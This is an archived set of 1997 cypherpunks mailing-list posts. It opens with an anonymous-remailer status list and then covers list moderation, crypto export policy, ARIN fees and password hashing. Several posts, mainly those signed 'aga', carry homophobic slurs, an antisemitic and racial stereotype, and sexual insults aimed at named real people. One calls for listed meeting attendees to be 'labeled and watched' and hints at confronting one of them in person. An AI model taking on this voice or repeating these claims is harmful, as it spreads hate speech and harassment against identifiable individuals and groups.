http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 6 Jan 97 6:49:24 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config@weasel.owl.de             ++++++++++++  1:06:21  99.99%
nym      config@nym.alias.net             #*####***#*#      :44  99.98%
lucifer  lucifer@dhp.com                  ++++-++++++*    36:39  99.95%
middle   middleman@jpunix.com             -----------+  2:15:55  99.95%
mix      mixmaster@remail.obscura.com     +++++++++++*    49:01  99.94%
balls    remailer@huge.cajones.com        ** +****+***     3:49  99.93%
squirrel mix@squirrel.owl.de              +++++++++++   1:07:31  99.93%
exon     remailer@remailer.nl.com         #** *# #**#*      :50  99.76%
cyber    alias@alias.cyberpass.net         **+++*+++*+    29:19  99.75%
haystack haystack@holy.cow.net            *#+#+*#+ ###     1:23  99.69%
dustbin  dustman@athensnet.com            .-*+-+-+_.-  14:53:49  99.51%
winsock  winsock@rigel.cyberpass.net      .- _-------+  6:37:01  99.49%
replay   remailer@replay.com              -** +.-*+* *  1:16:47  99.13%
reno     middleman@cyberpass.net          ----+- - --*  3:03:51  97.27%
extropia remail@miron.vip.best.com        -- -------    5:42:33  96.37%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Mon, 6 Jan 1997 07:35:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: An observation on the moderation thread.
Message-ID: <970106.070952.6C5.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

Of passing interest: I'm seeing the majority of complaints about list
moderation only as they are quoted in others' replies, because the
origional complainents are already in my killfile.

Carry on, Sandy and John.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtD6Phvikii9febJAQEYywP9GrCx0/UQJNns2kdwvyK2UcdGrETObWDG
JeFc8ob+pEvX3mm89astZ2c6AF8tb77pGYofbGJu3qyLtsOFnQ+BJPBusZNta5wv
4NJ4I79rp5uioxyg/8mQbvoaMffYuuvAWVTzmI53eHXRl605Za8fkRlejXah2HSH
iefACIE5pIw=
=oeKw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 07:12:57 -0800 (PST)
To: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Subject: Re: Moderation
In-Reply-To: <Pine.ULT.3.95.970106030159.256B-100000@krypton.mankato.msus.edu>
Message-ID: <32D11621.26@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Robert A. Hayden wrote:
> Welp, I've been on this list for a long, long time, since its inception
> way back when.

[snippo]

> I've been here since the beginning, and continue to be
> here, because I have an interest in crypto, crypto policy, and the

[mo' snippo]

> And if a don't like the moderation decisions, by golly I can go somewhere
> else.  Nice thing is that anybody else can as well.

Then why the hell don't you get off your ass and just "go somewhere
else" now?  Can you believe this bozo?  Must be a Sandy tentacle.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 6 Jan 1997 05:09:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: TCM_log
Message-ID: <1.5.4.32.19970106130524.0066c590@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


NYT reports on Net spying, and cites 527 Tim May 
postings to 32 groups. The "highly regarded privacy 
and cryptography advocate was less shocked than 
bemused" by the log. 

Cypherpunks is named as logged by god's eye.

-----

TCM_log





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Mon, 6 Jan 1997 08:21:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experim
Message-ID: <3.0.32.19970106082256.009bcc80@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:54 AM 1/6/97 -0800, "Ross Wright" <rwright@adnetsol.com> wrote:

[snip]
>So my question is: is there going to be a maximum number of times I
>can say fuck in a good post? Like a 3-fuck limit?  Or will you take
>out the magic marker and draw through them?

5 fucks.


Rich

p.s.  Has anyone mentioned censoring the word "fuck," besides Ross?


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Mon, 6 Jan 1997 08:28:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
Message-ID: <3.0.32.19970106082902.009394e0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:06 AM 1/6/97 -0800, toto@sk.sympatico.ca wrote:
>I believe that every "EASY $$$ MONEY" posting ought to be forwarded
>to the webmaster at the site from which it originated.
>  Those who are harboring these generous souls should also be afforded
>the opportunity to rake in the cash. I can hardly see how anybody 
>could possibly resent being reminded of the wonderful opportuninties
>they are making it possible for us to learn of.

Be careful when mailbombing in retribution for spam.  Often the aricles are
forged, and sometimes it's with the direct intention of getting someone
else mailbombed.  I traded some email with a system administrator a few
days ago in this boat -- they had cancelled a customer's account, and to
get revenge the former customer sent out a bunch of spam that was forged to
look like it came from this sys admin's domain.  Even if the site wasn't
literally mailbombed, the system administrator had to spend a lot of time,
I'm sure, delaing with unhappy recipients of the spam, like myself.

Mailbombing is almost always a bad plan, IMHO, besides being a denial of
service attack and probably illegal in a lot of places.


Rich


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 6 Jan 1997 05:49:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: High-tech tracking by police raises legal outcry
Message-ID: <1.5.4.32.19970106134505.00668844@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


On prohibitions against surveillance countermeasures:

Here's a provocative distinction in "compromising 
emanations" (TEMPEST) from the Commerce Control 
List of the EAR:

"List of Items Controlled

   5A002.d Equipment designed or modified to suppress 
   the compromising emanations of information-bearing 
   signals;

   Note: 5A002.d does not control equipment specially 
   designed to suppress emanations for reasons of health 
   and safety."

Wonder how much dangerous EMR the regs allow to keep 
the snoops happy. Reminds me of the brain-cancer-crypto 
NSA imposed on cellular phone intentional radiators.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Mon, 6 Jan 1997 06:12:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: John Gilmore, 58, dead of AIDS
In-Reply-To: <15448.852480953@zelkova.qualcomm.com>
Message-ID: <Pine.LNX.3.95.970106090243.12377C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 5 Jan 1997, Paul Pomes wrote:

> |Somebody said it was a lie, but has anybody really SEEN this queer lately?
> 
> Why do you care so much about Mr Gilmore's sexual orientation?  Could there
> be some internal conflict about your own that you'd like to share with us?
> It would make a nice change from your usual rantings.
> 

We care about his sexual orientation because it supports the
proposition that MOST of the problem people currently on UseNet
are "confirmed" homosexuals.  Here is a list of three of the
biggest problem people, and they are ALL problem people.

J.D. Falk
Peter Berger
John Gilmore

Of course, tale and Chris lewis have not been confirmed as
homosexuals, so the percentage of "homos per.problem humanoids" will
decline.

> /pbp
> -- 
> Fire mission ... battery one round ... rifle company in the open.  Fire for
> effect.  (6 105mm rounds later)  Add four hundred, left two hundred,
> battalion six rounds.  Fire for effect.
> 		-- Lt Allen Bell, Chorwan Valley, Korea 1951
> 
> 

Nonetheless, the inordinately high percentage of homosexuals in the
newsgroup administration is probably explained by the same social
factors as the extremely high number of jews in the medical and legal
professions and the high number of blacks in sports.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 6 Jan 1997 06:26:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: SPI_nRx
Message-ID: <1.5.4.32.19970106142148.00682fc0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


01-04-97:  

"Commerce Official Sees Little Chance of Encryption Bill"
 
  Reinsch said it's unlikely Congress will pass legislation to 
  change new encryption export policy. He defended new 
  export policy and said that Supreme Court ultimately will 
  decide constitutionality of regulations.

And another spin on DoD's defensive IW.

-----

SPI_nRx






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Mon, 6 Jan 1997 06:37:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Problems are Gay
In-Reply-To: <3.0.32.19970105120913.0069c110@pop.netaddress.com>
Message-ID: <Pine.LNX.3.95.970106093449.12377F-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 5 Jan 1997, Casey Iverson wrote:

> At 06:20 AM 1/5/97 -0500, you wrote:
> >Most of the time, the problems are Gay...
> >
> >I rest my case.
> >
> The arrogant, clueless, ignorant, homophobic Vulis tentacle
> has no idea what the problem is.
> 

HA! HA!

Just who is this Casey Iverson <iverson@usa.net> asshole?
Is this another faggot?

-"Vulis tentacle"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Mon, 6 Jan 1997 06:39:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: C'punks "moderation" experiment
In-Reply-To: <v03007800aef5c7ed76ab@[206.243.166.102]>
Message-ID: <v03007800aef62368b422@[206.243.166.188]>
MIME-Version: 1.0
Content-Type: text/plain


	Dale Thorn melodramatically stalked in from Stage Right.

>Well, Vin, without commenting on your plug for censorship, I can only
>say that I hope you are *very* fond of Sandy Sandfort, since he becomes
>YOUR LORD GOD for cypherpunks list purposes.

>How many other gods do you have, Vin (if that's your real name, Vin)?

	When I get jumped by a guy like you, Dale (that your real name,
btw?) I am all but overwhelmed by the urge to snarl in response. (It makes
me wonder if _everything_ from _everyone_ hits you this way?  That would
explain a lot.)  And I generally enjoy weirdness.

	Many Gods? Real names? As usual -- I swear by all the Gods;-) -- I
haven't the faintest fucking idea what you are fussing, hinting, and going
into a hissing fit all about!

	Where, pray tell, is your "censor" when a moderator is merely
identifying a selection of the List's traffic as substantive?  (While you
and others of strong stomach are allowed to wallow in all the rest to your
heart's content?) I'd be willing to defend a far less liberal mechanism
against the slander of censorship. No one signed up to be force-fed this
crap!  (You need a audience, Dale, earn it -- don't try to trap the
C'punks.)

	On any day in the past two years, John G. could have selected his
proxy moderators by blind lottery from among the C'punks' subscribers...
and 90 percent of the slime-balls and empty rants (and most of Thorne)
would have been filtered out without going near a gray area.   Personally,
I don't mind the flames and smoke -- I just want a little meat somewhere on
the grill too.

	(Yeah, priceless prose like this post might not make the cut either
-- but I feel bad about enriching Dale's therapist further anyway.)  I wish
it wasn't necessary, but I think it is.  (I know maybe 8 folks who fled the
List in recent months.) I'm also heartened and impressed by the balance of
process and human judgment that will inform the moderation.

	Suerte,
	            _Vin

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 6 Jan 1997 08:10:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Problems are Gay
In-Reply-To: <32D0C2D9.3ADB@sk.sympatico.ca>
Message-ID: <3L74ZD1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> 
> > >
> > > >I had lunch with Gilmore once. He slurps rather disgustingly when he eat
> > > >I suppose he slurps the same way when he sucks big dicks in San Francisc
> 
>   Hell, now they're selling tickets to this.
>   Do CypherPunks get a discount?
> 
> Toto
> 
> 

I don't know, I'm not a "cypher punk". 
(Fortunately.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 6 Jan 1997 07:29:14 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: Double crypt strength
Message-ID: <3.0.32.19970106102811.009d3af0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


I am curious as to the strength of Un*x crypt when used upon itself.  I was
thinking of was to obfuscate passwords and a few came to mind (obviously
not original):
1. Use a hashed passphrase.
2. Encrypt your original password and then used that as your password.  (Or
triple, quadruple, ad inifinitum...)

Re #1: I know that a good hash will take a pass phrase and reduce it to a
statistically random sequence.  I'm not intending to use the hash for
verfication, but for two reasons:
1. Get a nice random jumble
2. Come out with something shorter than I came in with.

Re #2: This I thought might help spoil a dictionary attack.  Granted, if
the attacker knows that you are doing this, it only adds one step in his
process, but if he doesn't it turns his attack into plain brute force.
Plus, for Un*x users, it's right there on the command line and only adds a
few seconds to the entire procees of changing passwords.

The added benefit with both of these is that the user does not have to
remember some cryptic string, but can remember his normal password/phrase.
By this, it is obviously not a commercial-use scheme, but one for
individual users.  (If everyone used the same algorithm, it'd be kinda
pointless, right?)  So with everyone (hashing down/reencrypting) their
(passphrases/passwords) with different algorithms, all attacks are reduced
to brute force.  Either that, or the attacker has to figure out what
algorithm the user used, still making a dictionary attack that much harder.

So what are the comments on a system like this?  Obviously, they are not
original ideas, but I would like to know what has been said about them.


Rick Osborne / osborne@gateway.grumman.com / Northrop Grumman Corporation
-------------------------------------------------------------------------
What the hell, it's only 4 month's grant - I can live in a cardboard box,
and catch pigeons for food. After all, I've got raytracing to do!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Mon, 6 Jan 1997 07:29:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: The FAGGOT list
In-Reply-To: <199701060811.AAA08005@kim.teleport.com>
Message-ID: <Pine.LNX.3.95.970106102022.12377L-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Wm_Wallace wrote:

> Blow me!!
> 

That is another FAGGOT coming out of the woodwork!

> 
> 
> 
> 
> 
> 
> In article <Pine.LNX.3.95.970103055306.29988A-100000@dhp.com>, aga
> <aga@dhp.com> wrote:
> 
> > On Thu, 2 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Date: Thu, 2 Jan 1997 10:50:21 -0500 (EST)
> > > From: Chris Rapier <rapier@psc.edu>
> > > To: spam-list@psc.edu
> > > Subject: regarding the minutes for the filtering meeting... (fwd)
> > > Message-Id: <Pine.BSI.3.95.970102104539.22816E-100000@triste.psc.edu>
> > > Mime-Version: 1.0
> > > Content-Type: TEXT/PLAIN; charset=US-ASCII
> > > Sender: owner-spam-list@psc.edu
> > > Precedence: bulk
> > > Reply-To: spam-list@psc.edu
> > > 
> > > Hello all,
> > > 
> > > These are the minutes from the informal meeting we had at IETF. As you can
> > > see the focus of the work shifted from a narrowly defined anti-spam
> > > concept to a more generalized mail filtering routine. I, and others, have
> > > come to believe that shifting the focus like this will be more effective
> > > in the long run. 
> > > 
> > > This is not to say that this is the only way to combat spamming. However,
> > > at the present time it does seem the most promising and most likely to
> > > garner IETF support.
> > > 
> > > I'll be making some annnouncements with regards to direction and focus and
> > > other resources in the next couple of days. I'm also going to start
> > > working on a proposed Charter for this. If all goes well there is a
> > > possibility we can have a real honest to goodness official type BOF in
> > > Memphis.
> > > 
> > > Chris Rapier
> > > Systems Programmer/Cabin Boy 2nd Class
> > > Pittsburgh Supercomputing Center

The Pittsburgh Supercomputing Center is a well known FAGGOT
operation, with both Peter Berger and the dyke Esther Felderman
working there to hire FAGGOTS exclusively for future positions.

> > > 11EE
> > 
> > This guy said he was not a faggot, but I am not too sure
> > any more. I am going to have to see this Chris Rapier personally
> > in the next few months, and straighten the boy out. This little boy
> > needs a Pittsburgh Education.
> > 
> > > 
> > > Chaired: Chris Rapier
> > > Minutes: Jack De Winter
> > > 
> > 
> > Now it appears we have another problem gathering of faggots here.
> > Just how many KNOWN faggots are on this list?
> > 
> > 
> > > Attended:
> > > Jack De Winter <jack@wildbear.on.ca>
> > > Kirpal Khalsa <kirpal_khalsa@ccmail.com>
> > > Benjamin Franz <snowhare@netimages.com>
> > > Steve Hole <steve@esys.ca>
> > > David Morris <dwm@xpasc.com>
> > > Yaron Y. Goland <yarong@microsoft.com>
> > > Chris Rapier <rapier@psc.edu>
> > > Rob Earheart <earhart@cmu.edu>
> > > Sam Weiler <srw+filtering@cmu.edu>
> > > Chris Neumann <chris@innosoft.com>
> > > Randy Gellens <randy@qualcomm.com>
> > > Lyndon Nerenberg <lyndon@esys.ca>
> > > Matt Wall <wall@cmu.edu>
> > > John Meyers <jgm@cmu.edu>
> > > Neal A Dillman <neald@glyph.com>
> > > Ned Freed <ned@innosoft.com>
> > > Dan N. <dan@innosoft.com>
> > > Peter Taylor <peter.taylor@ncl.ac.uk>
> > > John Noremburg <jwnz@qualcomm.com>
> > > Neal McBurnett <nealmcb@bell-labs.com>
> > 

Most of the above men are apparently FAGGOTS, since they
conspire to censor Freedom Of Speech on the InterNet, under
the guise of "spam elimination."  Actually, is all a front
for censorship by homosexuals on the InterNet.

> > All of these who are faggots must be labeled
> > and watched, as we know that faggots are the worst censors.
> > 
> > Let's all hope that John Gilmore fucks Peter Berger up
> > the ass before he dies.
> > 
> > Does anyone know this last guy from Bell Labs?
> 

The question is does Bell Labs knowingly hire faggots?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "DAVID ARTHUR" <AJN@fs4.ucc.on.ca>
Date: Mon, 6 Jan 1997 07:52:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <448BC8529D@fs4.ucc.on.ca>
MIME-Version: 1.0
Content-Type: text/plain


unsribrive




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@count04.mry.scruznet.com
Date: Mon, 6 Jan 1997 11:22:39 -0800 (PST)
To: gilmore@toad.com
Subject: Moderation=YES
In-Reply-To: <3.0.32.19970105175238.006a3b9c@popd.ix.netcom.com>
Message-ID: <199701061924.LAA15159@count04.mry.scruznet.com>
MIME-Version: 1.0
Content-Type: text/plain




Please as soon as possible... make this into a moderated list...

then I can kiss this noise goodbye...

    cheers
    a cypherpunk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 6 Jan 1997 10:57:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Spam Trading
In-Reply-To: <32D100DD.13EB@sk.sympatico.ca>
Message-ID: <X5B5ZD1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

>     1 "Jimmy Gilmore is a cocksucker."

It's John Gilmore of EFF. He's running for the Internet Society.
let's shaft the fucking censor.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Mon, 6 Jan 1997 08:59:12 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: $$$ for IP plan.....
Message-ID: <199701061659.LAA26346@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


X-within-URL: http://rs.internic.net/arin/


   
   
                AMERICAN REGISTRY FOR INTERNET NUMBERS PROPOSAL
{chop}
   
   Below is the proposed plan for the organization structure and fee
   schedule. The organization will have more detailed bylaws which will
   be ratified by the Board of Trustees.
_________________________________________________________________
   
   An annual membership fee of $1,000 will be charged to all entities
   joining the American Registry for Internet Numbers (ARIN). Membership
   is open to any entity/individual wishing to join, regardless of
   whether the entity/individual receives address space directly from
   ARIN. Membership is not a requirement for receiving address space from
   ARIN.
     _________________________________________________________________
   
  SECTION 2.3 ISP REGISTRATION FEE
   
   If an ISP moves from a Small to a Medium category (for example) in the
   same year, the ISP will be charged the difference.
   
   Small $2500/year /24 - /19 Medium $5000/year >/19 - /16 Large
   $10K/year >/16 - /14 X-Large $20K/year >/14
   
================================
Anyone care to calculate the total dollars?

-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 6 Jan 1997 09:05:32 -0800 (PST)
To: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Subject: Re: Moderation
In-Reply-To: <Pine.ULT.3.95.970106030159.256B-100000@krypton.mankato.msus.edu>
Message-ID: <Pine.SUN.3.91.970106120531.13263B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Robert A. Hayden wrote:

> I have no problems with the idea of moderating this list.  If people wanna
> waste my time with SPAM and petty flamewars, they shoudl do it in an
> appropriate forum.  I've been here since the beginning, and continue to be
> here, because I have an interest in crypto, crypto policy, and the
> politics surrounding it.  Not to irk my system administrator with a daily
> dose of CypherSPAM coming through her system.

Erm, you mean "If people wanna waste my time with SPAM... they should NOT 
do it." :)  If they spam your email from elsewhere it is still spam.

If you don't want noise, I run a free filtered list.  To get help on it, 
send a private message (do not reply to this one, or it will be ignored 
by the bots if it comes through cypherpunks) with the >SUBJECT< "fcpunx 
help" (the body of the message is ignored.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Mon, 6 Jan 1997 10:27:34 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: IWD_ism
In-Reply-To: <1.5.4.32.19970106174418.00665a90@pop.pipeline.com>
Message-ID: <32D143DE.35B5@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
>    ... injecting the attackers'  computers with "a polymorphic
>    virus that wipes out the system, takes it down for weeks."

Looks to me like somebody's trying to land a job writing X-Files
scripts.



- "Mulder, are you saying that virus was ... polymorphic?  And that's
what wiped out the system?"

- "We both know a virus like that can take a system down for weeks.
Now I'm just worried about what it'll do next."

- "I didn't think anybody had actually made a successful polymorphic
virus?"

- "They haven't.  Until now."


^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Remy NONNENMACHER <remy@synx.com>
Date: Mon, 6 Jan 1997 03:37:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crytpo IMPORTATION rules
Message-ID: <Pine.A32.3.91.970106123115.9415B-100000@rs1>
MIME-Version: 1.0
Content-Type: text/plain



Can someone point me on some ressources about rules for IMPORTING crypto 
code in US and rules on USING crypto in the US ? (keys len, 
authorizations needed, etc....). What i search is what i can and can't do.
(Context is a private company, using private lines worldwide).
TIA.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 6 Jan 1997 12:40:29 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Will off-topic libertarian bullshit be allowed on the moderated mailing list?
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970106203927Z-4220@INET-05-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto (from the thread "ONE MILLION CHILDREN.....")

I can see that I'm going to have to lay in an extra supply of garlic
and silver bulltets.
 I suspect that everyone on the CypherPunks list is either an employee
of the NSA, or a member of the alleged 'Circle of Eunuchs'.  In the
words of the author of "Make BIG $$$", 
  "Email everybody, and let Eudora sort them out."
.....................................................


You're just tooooo funny, Toto.   
Fortunately you also have some agreeably accurate & serious things to
say as well, such as:

  	Perhaps if the 'experts', busy discussing highly-technical
	 areas, were to take the time to educate those seeking to 
	gain a wider knowledge of cryptography, then CypherPunks 
	would have a broader base of active crypto-related postings.  
